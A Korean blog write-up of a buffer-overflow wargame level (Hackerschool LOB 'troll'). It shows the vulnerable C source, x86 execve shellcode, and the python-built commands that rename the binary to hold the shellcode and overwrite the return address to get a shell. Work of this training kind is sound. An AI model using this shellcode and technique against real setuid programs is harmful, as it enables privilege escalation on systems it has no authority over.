본문 바로가기

Pwnable/LOB

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level8

orge에 로그인하면 troll 실행 파일과 troll.c 소스 파일이 보인다. troll.c의 내용은 다음과 같다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	// here is changed
	if(argc != 2){
		printf("argc must be two!\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// one more!
	memset(argv[1], 0, strlen(argv[1]));
}

이번 문제에서는 argc가 2개가 아니면 프로그램이 종료되기 때문에, argv[2]를 사용할 수 없다. 심지어 argv[1]이 48바이트를 넘어가도 프로그램이 종료되고, 마지막엔 buffer 뿐만 아니라 argv[1]도 0으로 초기화한다. 이전 문제에서 argv[0]를 다루는 문제를 풀어보았기 때문에, 만약 argv[0]에 쉘 코드를 저장하고, ret에 argc의 주소를 저장한다면...? 이라는 의문점이 들었다. 

먼저 troll 파일을 troll2로 복사한 후에 실행 파일의 이름을 파이썬 스크립트를 이용해서 troll2의 파일명을 쉘 코드로 바꾸어주고자 했지만 바뀌지 않고 아래와 같은 결과가 나왔다.

 

[orge@localhost orge]$ mv troll2 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
mv: cannot create regular file `1?Ph//shh/bin??PS??°
                                                     ̀': No such file or directory

무엇이 문제인지 찾아보았더니, 해당 쉘 코드에 들어있는 \x2f가 "/"를 의미하는 코드이기 때문이였다. 

/는 경로를 지정할 때 쓰이는데, 예를들어 mv troll2 1234/abcd 라는 명령어를 입력하면, 현재 디렉토리의 troll2라는 파일을 디렉토리 내에 있는 1234 디렉토리에 abcd라는 이름으로 옮기겠다는 명령어이다. 해당 쉘 코드도 이러한 개념으로 실행되는데, \x2f 앞에 있는 "\x31\xc0\x50\x68"을 디렉토리로 인식하는 것이다. 이를 해결하기 위해서 "\x2f"가 없는 쉘 코드를 사용해야 한다. 쉘 코드는 구글링을 통해 어렵지 않게 구할 수 있었다.

"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"

 

troll2의 이름을 바꿔주었더니 정상적으로 바뀌었다. 이제 해당 파일을 디버깅해서, argv[0]이 저장된 위치를 찾고, 해당 주소를 ret에 덮어씌우기만 하면 된다. gdb에서 argv[0]의 위치를 쉽게 찾기 위해서도 그렇고 실행을 안정적으로 시키기 위해 파일명 앞에 "\x90"을 48개 붙여주었다.

 

 

x/20wx $esp의 결과 중 일부이다. 해당 출력에서 0x90909090이 반복되는 부분이 argv[0]이 시작되는 부분이다. 대략 0xbffffb9c부터 시작된다. 이제 주소를 알았으니, 해당 주소를 ret에 씌워주면 된다.

먼저, troll 실행 파일의 이름을 48개의 NOP + 쉘 코드로 바꿔준다음 인자로 44바이트의 아무런 값 + "\x9c\xfb\xff\xbf"를 넘겨주면 될 것이다. 코드는 아래와 같다.

./`python -c 'print "\x90"*48 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x9c\xfb\xff\xbf"'`

해당 명령어를 실행했더니, core dumped가 발생하면서 core 파일이 생성되었다. 확인해주기 위해 아래의 명령어를 실행했다.

gdb -q `python -c 'print "\x90"*48 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\xcb\xfb\xff\xbf"'` core
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0xbfffffd2 in ?? ()

참고로 core dumped란 잘못된 주소를 참조하거나 잘못된 값을 입력으로 넣는 경우 발생하는 오류이며,  해당 경우엔 0xbfffffd2에 저장된 값을 참조할 수 없다는 오류가 출력되었다.

이후에 x/100wx $esp 를 실행해서 argv[0]의 위치를 다시 확인해주었다.

 

0x90909090이 시작되는 위치가 대략 0xbffffb29이다. ret에 해당 주소를 덮어씌우는 코드를 다시 실행해보았다.

 

./`python -c 'print "\x90"*48 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x29\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)???
bash$ id
uid=507(orge) gid=507(orge) groups=507(orge)

 

이제 복사파일이 아닌 원본파일에 그대로 적용시키면 쉘을 획득할 수 있다. 그 전에, troll 실행파일의 이름을 바꾸어 주어야 한다.

$ mv troll `python -c 'print "\x90"*48 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x29\xfb\xff\xbf"'`

위와 같이 바꾸고 나서, 해당 파일을 실행하면 된다.

 

my-pass를 통해 비밀번호를 출력한 뒤 troll로 로그인하면 된다.